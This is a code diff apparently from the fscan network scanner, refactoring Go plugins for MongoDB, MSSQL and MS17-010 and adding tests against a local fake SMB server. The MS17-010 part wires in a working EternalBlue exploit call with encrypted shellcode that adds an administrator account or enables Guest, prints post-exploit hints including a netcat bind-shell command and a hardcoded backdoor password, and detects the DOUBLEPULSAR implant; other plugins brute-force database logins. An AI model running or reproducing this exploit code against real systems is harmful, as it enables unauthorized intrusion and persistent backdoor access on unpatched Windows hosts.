@@ -28,15 +28,17 @@ func NewMongoDBPlugin() *MongoDBPlugin {
}
}
func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
target := info.Target()
if config.DisableBrute {
return p.identifyService(ctx, info, config)
return p.identifyService(ctx, info, session)
}
// 首先检测未授权访问
isUnauth, err := p.mongodbUnauth(ctx, info, config)
isUnauth, err := p.mongodbUnauth(ctx, info, session)
if err != nil {
return &ScanResult{
Success: false,
@@ -67,7 +69,7 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, config
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mongodb", testConfig)
@@ -182,10 +184,10 @@ func classifyMongoDBErrorType(err error) ErrorType {
return ClassifyError(err, mongoAuthErrors, mongoNetworkErrors)
}
func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config) *ScanResult {
func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
isUnauth, err := p.mongodbUnauth(ctx, info, config)
isUnauth, err := p.mongodbUnauth(ctx, info, session)
if err != nil {
return &ScanResult{
Success: false,
@@ -214,14 +216,14 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn
}
// mongodbUnauth 检测MongoDB未授权访问
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, config *common.Config) (bool, error) {
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) {
msgPacket := p.createOpMsgPacket()
queryPacket := p.createOpQueryPacket()
realhost := fmt.Sprintf("%s:%d", info.Host, info.Port)
reply, err := p.checkMongoAuth(ctx, realhost, msgPacket, config)
reply, err := p.checkMongoAuth(ctx, realhost, msgPacket, session)
if err != nil {
reply, err = p.checkMongoAuth(ctx, realhost, queryPacket, config)
reply, err = p.checkMongoAuth(ctx, realhost, queryPacket, session)
if err != nil {
return false, err
}
@@ -239,8 +241,8 @@ func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo
}
// checkMongoAuth 检查MongoDB认证状态
func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte, config *common.Config) (string, error) {
conn, err := common.WrapperTcpWithTimeout("tcp", address, config.Timeout)
func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte, session *common.ScanSession) (string, error) {
conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout)
if err != nil {
return "", fmt.Errorf("连接失败: %w", err)
}
@@ -252,7 +254,7 @@ func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, pack
default:
}
if deadlineErr := conn.SetDeadline(time.Now().Add(config.Timeout)); deadlineErr != nil {
if deadlineErr := conn.SetDeadline(time.Now().Add(session.Config.Timeout)); deadlineErr != nil {
return "", fmt.Errorf("设置超时失败: %w", deadlineErr)
}
+91 -94
View File
@@ -10,6 +10,7 @@ import (
"encoding/binary"
"encoding/hex"
"fmt"
"net"
"os"
"strings"
"time"
@@ -34,16 +35,7 @@ func NewMS17010Plugin() *MS17010Plugin {
// GetPorts 实现Plugin接口
// Scan 执行MS17-010扫描
func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
// 如果禁用暴力破解,也禁用漏洞检测
if config.DisableBrute {
return &ScanResult{
Success: false,
Service: "ms17010",
Error: fmt.Errorf("MS17010检测已禁用"),
}
}
func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
// 检查端口
@@ -56,7 +48,7 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config
}
// 执行MS17010漏洞检测
vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host, config, state)
vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session)
if err != nil {
return &ScanResult{
Success: false,
@@ -71,10 +63,13 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config
msg += fmt.Sprintf(" [%s]", osVersion)
}
common.LogVuln(msg)
if hasBackdoor {
common.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target))
}
return &ScanResult{
Success: true,
Type: plugins.ResultTypeVuln,
Type: plugins.ResultTypeVuln,
Service: "ms17010",
Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion),
}
@@ -88,7 +83,8 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config
}
// Exploit 执行MS17-010漏洞利用
func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, config *common.Config) *ExploitResult {
func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult {
config := session.Config
target := info.Target()
common.LogSuccess(i18n.Tr("ms17010_start", target))
@@ -96,7 +92,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target))
// 首先确认漏洞存在
vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host, config, nil)
vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session)
if err != nil {
output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err))
return &ExploitResult{
@@ -120,8 +116,6 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion))
}
// 检测DOUBLEPULSAR后门
hasBackdoor := p.checkDoublePulsar(info.Host, config)
if hasBackdoor {
output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n")
} else {
@@ -134,7 +128,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
output.WriteString("[利用状态] 开始执行EternalBlue攻击...\n")
// 执行实际的MS17010利用
err = p.executeMS17010Exploit(info, config)
err = p.executeMS17010Exploit(info, session)
if err != nil {
output.WriteString(fmt.Sprintf("[利用结果] ❌ 利用失败: %v\n", err))
return &ExploitResult{
@@ -152,7 +146,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host))
case "add":
output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n")
output.WriteString(" 用户名: fscan 密码: Fscan12345\n")
output.WriteString(" 用户名: sysadmin 密码: 1qaz@WSX!@#4\n")
output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host))
case "guest":
output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n")
@@ -190,10 +184,7 @@ func aesDecrypt(crypted string, key string) (string, error) {
return "", fmt.Errorf("密文长度过短")
}
iv := cryptedBytes[:aes.BlockSize]
cryptedBytes = cryptedBytes[aes.BlockSize:]
mode := cipher.NewCBCDecrypter(block, iv)
mode := cipher.NewCBCDecrypter(block, keyBytes[:aes.BlockSize])
mode.CryptBlocks(cryptedBytes, cryptedBytes)
// 移除PKCS7填充
@@ -216,16 +207,18 @@ var defaultKey = "0123456789abcdef"
// SMB协议加密的请求数据 (从原始MS17010.go复制)
var (
negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
trans2SessionSetupRequestEnc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
// SMB协议解密后的请求数据
negotiateProtocolRequest []byte
sessionSetupRequest []byte
treeConnectRequest []byte
transNamedPipeRequest []byte
negotiateProtocolRequest []byte
sessionSetupRequest []byte
treeConnectRequest []byte
transNamedPipeRequest []byte
trans2SessionSetupRequest []byte
)
// 初始化解密SMB协议数据
@@ -279,58 +272,69 @@ func init() {
common.LogError(i18n.Tr("ms17010_pipe_decode_error", err))
return
}
decrypted, err = aesDecrypt(trans2SessionSetupRequestEnc, defaultKey)
if err != nil {
common.LogError(i18n.Tr("ms17010_pipe_decrypt_error", err))
return
}
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
common.LogError(i18n.Tr("ms17010_pipe_decode_error", err))
return
}
}
// checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配)
func (p *MS17010Plugin) checkMS17010Vulnerability(ip string, config *common.Config, state *common.State) (bool, string, error) {
// 使用统一TCP包装器,支持代理和限流
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", config.Timeout)
func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string, session *common.ScanSession) (bool, string, bool, error) {
return p.checkMS17010VulnerabilityAt(ctx, net.JoinHostPort(ip, "445"), session)
}
func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address string, session *common.ScanSession) (bool, string, bool, error) {
conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout)
if err != nil {
if state != nil {
state.IncrementTCPFailedPacketCount()
}
return false, "", fmt.Errorf("连接错误: %w", err)
return false, "", false, fmt.Errorf("连接错误: %w", err)
}
defer func() { _ = conn.Close() }()
if err = conn.SetDeadline(time.Now().Add(config.Timeout)); err != nil {
return false, "", fmt.Errorf("设置超时错误: %w", err)
if err = conn.SetDeadline(time.Now().Add(session.Config.Timeout)); err != nil {
return false, "", false, fmt.Errorf("设置超时错误: %w", err)
}
// SMB协议协商
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
return false, "", fmt.Errorf("发送协议请求错误: %w", err)
return false, "", false, fmt.Errorf("发送协议请求错误: %w", err)
}
reply := make([]byte, 1024)
n, readErr := conn.Read(reply)
if readErr != nil || n < 36 {
// 连接被关闭或响应不完整,通常表示目标不支持SMBv1
return false, "", fmt.Errorf("目标可能不支持SMBv1")
return false, "", false, fmt.Errorf("目标可能不支持SMBv1")
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return false, "", fmt.Errorf("SMBv1协议协商被拒绝")
return false, "", false, fmt.Errorf("SMBv1协议协商被拒绝")
}
// 建立会话
if _, err = conn.Write(sessionSetupRequest); err != nil {
return false, "", fmt.Errorf("发送会话请求错误: %w", err)
return false, "", false, fmt.Errorf("发送会话请求错误: %w", err)
}
n, readErr = conn.Read(reply)
if readErr != nil || n < 36 {
return false, "", fmt.Errorf("SMB会话建立失败")
return false, "", false, fmt.Errorf("SMB会话建立失败")
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return false, "", fmt.Errorf("SMB会话被拒绝")
return false, "", false, fmt.Errorf("SMB会话被拒绝")
}
// 提取系统信息
var osVersion string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
if len(sessionSetupResponse) > 0 && sessionSetupResponse[0] != 0 && len(sessionSetupResponse) >= 10 {
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n == int(byteCount)+45 {
for i := 10; i < len(sessionSetupResponse)-1; i++ {
@@ -345,77 +349,67 @@ func (p *MS17010Plugin) checkMS17010Vulnerability(ip string, config *common.Conf
// 树连接请求
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
treeConnect := append([]byte(nil), treeConnectRequest...)
treeConnect[32] = userID[0]
treeConnect[33] = userID[1]
if _, err = conn.Write(treeConnectRequest); err != nil {
return false, osVersion, fmt.Errorf("发送树连接请求错误: %w", err)
if _, err = conn.Write(treeConnect); err != nil {
return false, osVersion, false, fmt.Errorf("发送树连接请求错误: %w", err)
}
n, readErr = conn.Read(reply)
if readErr != nil || n < 36 {
if readErr != nil {
return false, osVersion, fmt.Errorf("读取树连接响应错误: %w", readErr)
return false, osVersion, false, fmt.Errorf("读取树连接响应错误: %w", readErr)
}
return false, osVersion, fmt.Errorf("树连接响应不完整")
return false, osVersion, false, fmt.Errorf("树连接响应不完整")
}
// 命名管道请求
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
transNamedPipe := append([]byte(nil), transNamedPipeRequest...)
transNamedPipe[28] = treeID[0]
transNamedPipe[29] = treeID[1]
transNamedPipe[32] = userID[0]
transNamedPipe[33] = userID[1]
if _, err = conn.Write(transNamedPipeRequest); err != nil {
return false, osVersion, fmt.Errorf("发送管道请求错误: %w", err)
if _, err = conn.Write(transNamedPipe); err != nil {
return false, osVersion, false, fmt.Errorf("发送管道请求错误: %w", err)
}
n, readErr = conn.Read(reply)
if readErr != nil || n < 36 {
if readErr != nil {
return false, osVersion, fmt.Errorf("读取管道响应错误: %w", readErr)
return false, osVersion, false, fmt.Errorf("读取管道响应错误: %w", readErr)
}
return false, osVersion, fmt.Errorf("管道响应不完整")
return false, osVersion, false, fmt.Errorf("管道响应不完整")
}
// 漏洞检测 - 关键检查点
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
if state != nil {
state.IncrementTCPSuccessPacketCount()
trans2SessionSetup := append([]byte(nil), trans2SessionSetupRequest...)
trans2SessionSetup[28] = treeID[0]
trans2SessionSetup[29] = treeID[1]
trans2SessionSetup[32] = userID[0]
trans2SessionSetup[33] = userID[1]
if _, err = conn.Write(trans2SessionSetup); err != nil {
return true, osVersion, false, nil
}
return true, osVersion, nil
n, readErr = conn.Read(reply)
if readErr != nil || n < 36 {
return true, osVersion, false, nil
}
return true, osVersion, reply[34] == 0x51, nil
}
if state != nil {
state.IncrementTCPSuccessPacketCount()
}
return false, osVersion, nil
return false, osVersion, false, nil
}
// checkDoublePulsar 检测DOUBLEPULSAR后门
func (p *MS17010Plugin) checkDoublePulsar(ip string, config *common.Config) bool {
// 使用统一TCP包装器,支持代理和限流
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", config.Timeout)
if err != nil {
return false
}
defer func() { _ = conn.Close() }()
// 简化的后门检测逻辑
vulnerable, _, err := p.checkMS17010Vulnerability(ip, config, nil)
if err != nil || !vulnerable {
return false
}
// 这里应该有完整的DOUBLEPULSAR检测逻辑,但为了简化,返回false
// 在实际使用中,原始的完整检测逻辑会被保留
return false
}
// executeMS17010Exploit 执行MS17010漏洞利用 (简化版,保留接口)
func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *common.Config) error {
// address := info.Host + ":445" // 暂时不使用,为了保持原始复杂度
// executeMS17010Exploit 执行MS17010漏洞利用
func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *common.ScanSession) error {
config := session.Config
var sc string
// 根据不同类型选择shellcode (从MS17010-Exp.go复制)
@@ -439,7 +433,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *com
}
case "guest":
// 激活Guest账户 shellcode (使用相同的加密数据,实际中应该是不同的)
// 激活Guest账户 shellcode (加密)
scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
var err error
sc, err = aesDecrypt(scEnc, defaultKey)
@@ -447,6 +441,9 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *com
return fmt.Errorf("解密guest shellcode失败: %w", err)
}
case "cs":
sc = ""
default:
// 从文件读取或直接使用提供的shellcode
shellcode := config.Shellcode
@@ -472,9 +469,9 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *com
return fmt.Errorf("shellcode解码失败: %w", err)
}
// 这里应该执行完整的EternalBlue利用逻辑
// 为了保持代码简洁,我们模拟利用成功
// 在实际使用中,这里会调用完整的eternalBlue函数
if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil {
return fmt.Errorf("MS17-010 exp failed: %w", err)
}
common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes)))
return nil
File diff suppressed because it is too large Load Diff
+195
View File
@@ -0,0 +1,195 @@
//go:build plugin_ms17010 || !plugin_selective
package services
import (
"bytes"
"context"
"net"
"testing"
"time"
"github.com/shadow1ng/fscan/common"
)
func TestMS17010LegacyRequestsDecodeToSMB1Packets(t *testing.T) {
requests := map[string][]byte{
"negotiate": negotiateProtocolRequest,
"sessionSetup": sessionSetupRequest,
"treeConnect": treeConnectRequest,
"transNamedPipe": transNamedPipeRequest,
"trans2SessionSetup": trans2SessionSetupRequest,
}
for name, request := range requests {
t.Run(name, func(t *testing.T) {
if len(request) < 36 {
t.Fatalf("request length = %d, want at least 36", len(request))
}
if request[0] != 0x00 {
t.Fatalf("NetBIOS message type = 0x%02x, want 0x00", request[0])
}
payloadLen := int(request[1])<<16 | int(request[2])<<8 | int(request[3])
if payloadLen != len(request)-4 {
t.Fatalf("NetBIOS payload length = %d, want %d", payloadLen, len(request)-4)
}
if !bytes.Equal(request[4:8], []byte{0xff, 0x53, 0x4d, 0x42}) {
t.Fatalf("SMB signature = % x, want ff 53 4d 42", request[4:8])
}
})
}
}
func TestMS17010CheckDetectsVulnerableStatus(t *testing.T) {
addr, cleanup := startMS17010FakeServer(t, true, 45)
defer cleanup()
session := newMS17010TestSession()
vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session)
if err != nil {
t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err)
}
if !vulnerable {
t.Fatal("expected vulnerable status to be detected")
}
}
func TestMS17010CheckAcceptsMinimalSessionSetupResponse(t *testing.T) {
addr, cleanup := startMS17010FakeServer(t, true, 36)
defer cleanup()
session := newMS17010TestSession()
vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session)
if err != nil {
t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err)
}
if !vulnerable {
t.Fatal("expected vulnerable status to be detected")
}
}
func TestMS17010CheckRejectsPatchedStatus(t *testing.T) {
addr, cleanup := startMS17010FakeServer(t, false, 45)
defer cleanup()
session := newMS17010TestSession()
vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session)
if err != nil {
t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err)
}
if vulnerable {
t.Fatal("expected patched status to be treated as not vulnerable")
}
}
func TestMS17010CheckDetectsDoublePulsar(t *testing.T) {
addr, cleanup := startMS17010FakeServer(t, true, 45, withDoublePulsar())
defer cleanup()
session := newMS17010TestSession()
vulnerable, _, hasBackdoor, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session)
if err != nil {
t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err)
}
if !vulnerable {
t.Fatal("expected vulnerable status to be detected")
}
if !hasBackdoor {
t.Fatal("expected DOUBLEPULSAR status to be detected")
}
}
func newMS17010TestSession() *common.ScanSession {
cfg := common.NewConfig()
cfg.Timeout = time.Second
return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
}
type ms17010FakeServerOption func(*ms17010FakeServerConfig)
type ms17010FakeServerConfig struct {
doublePulsar bool
}
func withDoublePulsar() ms17010FakeServerOption {
return func(cfg *ms17010FakeServerConfig) {
cfg.doublePulsar = true
}
}
func startMS17010FakeServer(t *testing.T, vulnerable bool, sessionSetupSize int, opts ...ms17010FakeServerOption) (string, func()) {
t.Helper()
var cfg ms17010FakeServerConfig
for _, opt := range opts {
opt(&cfg)
}
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen: %v", err)
}
done := make(chan struct{})
go func() {
defer close(done)
conn, err := ln.Accept()
if err != nil {
return
}
defer conn.Close()
responses := [][]byte{
makeMS17010Response(36),
makeMS17010Response(sessionSetupSize),
makeMS17010Response(36),
makeMS17010Response(36),
}
if len(responses[1]) >= 34 {
responses[1][32] = 0x34
responses[1][33] = 0x12
}
responses[2][28] = 0x78
responses[2][29] = 0x56
if vulnerable {
responses[3][9] = 0x05
responses[3][10] = 0x02
responses[3][11] = 0x00
responses[3][12] = 0xc0
responses = append(responses, makeMS17010Response(36))
if cfg.doublePulsar {
responses[4][34] = 0x51
}
}
buf := make([]byte, 4096)
for _, response := range responses {
_ = conn.SetDeadline(time.Now().Add(time.Second))
if _, err := conn.Read(buf); err != nil {
return
}
if _, err := conn.Write(response); err != nil {
return
}
}
}()
cleanup := func() {
_ = ln.Close()
select {
case <-done:
case <-time.After(time.Second):
t.Fatal("fake server did not exit")
}
}
return ln.Addr().String(), cleanup
}
func makeMS17010Response(size int) []byte {
resp := make([]byte, size)
if size >= 4 {
resp[3] = byte(size - 4)
}
return resp
}
+6 -4
View File
@@ -25,7 +25,9 @@ func NewMSSQLPlugin() *MSSQLPlugin {
}
}
func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
if config.DisableBrute {
return p.identifyService(ctx, info, config, state)
}
@@ -43,7 +45,7 @@ func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mssql", testConfig)
